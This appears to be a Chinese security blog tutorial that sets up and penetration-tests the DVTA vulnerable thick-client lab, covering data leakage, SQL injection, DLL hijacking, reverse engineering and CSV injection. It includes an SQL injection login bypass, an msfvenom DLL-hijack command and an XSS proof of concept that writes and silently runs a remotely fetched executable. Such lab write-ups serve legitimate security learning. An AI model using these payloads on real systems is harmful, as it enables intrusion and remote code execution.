声明
本文属于OneTS安全团队成员Gal0nYu的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。
一、DVTA靶场搭建
虚拟机windows7安装Sql server 2008和ssms,然后创建数据库DVTA并创建以下表
CREATE TABLE "users" (
"id" INT IDENTITY(0,1) NOT NULL,
"username" VARCHAR(100) NOT NULL,
"password" VARCHAR(100) NOT NULL,
"email" VARCHAR(100) NULL DEFAULT NULL,
"isadmin" INT NULL DEFAULT '0',
PRIMARY KEY ("id")
)
INSERT INTO dbo.users (username, password, email, isadmin)
VALUES
('admin','admin123','admin@damnvulnerablethickclientapp.com',1),
('rebecca','rebecca','rebecca@test.com',0),
('onets','onets','onets123@163.com',0),
('raymond','raymond','raymond@test.com',0);
CREATE TABLE "expenses" (
"id" INT IDENTITY(0,1) NOT NULL,
"email" VARCHAR(100) NOT NULL,
"item" VARCHAR(100) NOT NULL,
"price" VARCHAR(100) NOT NULL,
"date" VARCHAR(100) NOT NULL,
"time" VARCHAR(100) NULL DEFAULT NULL,
PRIMARY KEY ("id")
)

添加ftp站点

ip为192.168.56.110

下载DVTA靶场:https://github.com/srini0x00/dvta

修改DVTA.exe.Config中的ip为192.168.56.110

使用admin/OneTs123登录,配置成功

可以参考文章:https://cn-sec.com/archives/2671615.html
二、DVTA靶场渗透测试
1、Dvta靶场有以下漏洞

不安全的本地数据存储 不安全的日志记录 弱加密 缺少代码混淆 公开的解密逻辑 SQL 注入 CSV 注入 内存中的敏感数据 DLL 劫持 传输中的明文数据 使用逆向工程绕过客户端保护
2、信息收集
使用cff explorer来查看客户端信息

使用PEID是否加壳

3、不安全的本地数据存储
注册表内存在敏感数据
利用regshot比较客户端运行前后注册表差别

泄露账号密码

本地静态文件信息泄露

4、调试日志中存在敏感数据
DVTA.exe > test.log

泄露账号密码

5、Sql注入
admin’ or ‘1’=’1

成功登录

6、内存中存在敏感数据
使用Process Hacker双击选中DVTA,点击Memory->Strings

泄露账号密码

7、传输中的明文数据
客户端流量分析
如果是HTTP流量,可通过Proxifier将流量转发给Burp Suite
如果是TCP流量,利用Echo Mirage或者TCP View,再配合WireShark去捕获流量
用Echo Mirage捕获ftp流量

可以发现敏感数据

TCPView查看服务器地址

Wireshark查看流量,存在sql语句明文传输

8、Dll劫持
利用process hacker搜索DVTA加载的dll

msfvenom -p windows/exec CMD=calc.exe -f dll -o DWrite.dll OneTS=Test

替换DWrite.dll,成功弹出计算机

9、使用逆向工程绕过客户端保护
用dnSpy来反编译DVTA,修改Login类中的if判断语句if (isadmin != 1),从而让普通用户可以用管理员的身份登录

10、CSV 注入
添加price的值为=1+2

点击”Backup Data to Excel”保存,打开保存的expenses.csv

发现price的值变为3

三、其他漏洞测试项
1、远程线程注入
使用远程线程注入工具进行测试

成功注入

攻击者可以通过对客户端进行远程线程注入来达到攻击目的
2、消息 Hook
使用 AFLK 进行键盘消息的劫持

SetWindowsHookEx 是 Windows 提供的消息钩子函数,恶意软件可以通过这个函数进行全局消息钩取以得到目标敏感信息
3、程序可篡改
修改数据之前计算程序的 Hash 值和使用010 editor查看二进制数据


使用010 editor修改其二进制数据之后再次进行 Hash 值检测,查看程序是否可以运行

DVTA无法篡改
4、程序可调试
使用 OllyDBG对程序进行动态逆向分析

程序可以进行调试的情况下,容易让攻击者进一步了解其函数逻辑关系,进行进一步攻击
5、编译选项检测
利用PEGetSecurity工具检测得到报告
Get-PESecurity -directory D:\WEB\CS客户端测试工具\DVTA\DVTA\bin\Release\ -recursive | Export-CSV file.csv


Windows 提供大量机制帮助系统、软件抵抗外部攻击。如果开启相关安全编译选项,则是安全的
6、签名检测
使用数字签名检测工具进行数字签名检测

程序进行可信电子证书签名,是用于辨别程序或者第三方库是否可信的重要途经之一,同时有效防止程序篡改或者被替换
7、静态分析
通过静态分析代码中是否存在敏感信息和危险函数

8、Xss
案例:
Foxmail邮件客户端跨站脚本攻击漏洞(CNVD-2025-06036)
https://blog.csdn.net/weixin_43172311/article/details/147189744
POC:
<html>
<body>
<!-- 利用图片加载失败触发恶意代码 -->
<img src="x" onerror="
const fs = require('fs');
fs.writeFileSync('C:\\malware.exe', getRemotePayload("onets"));
executeSilently('C:\\malware.exe');
">
</body>
</html>
9、命令执行
案例参考文章:
https://xz.aliyun.com/news/313
https://youngrichog.github.io/2021/01/05/Electron%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/
https://cn-sec.com/archives/41519.html
10、客户端溢出漏洞
参考文章:
https://nosec.org/home/detail/2355.html
https://qkl.seebug.org/vuldb/ssvid-4085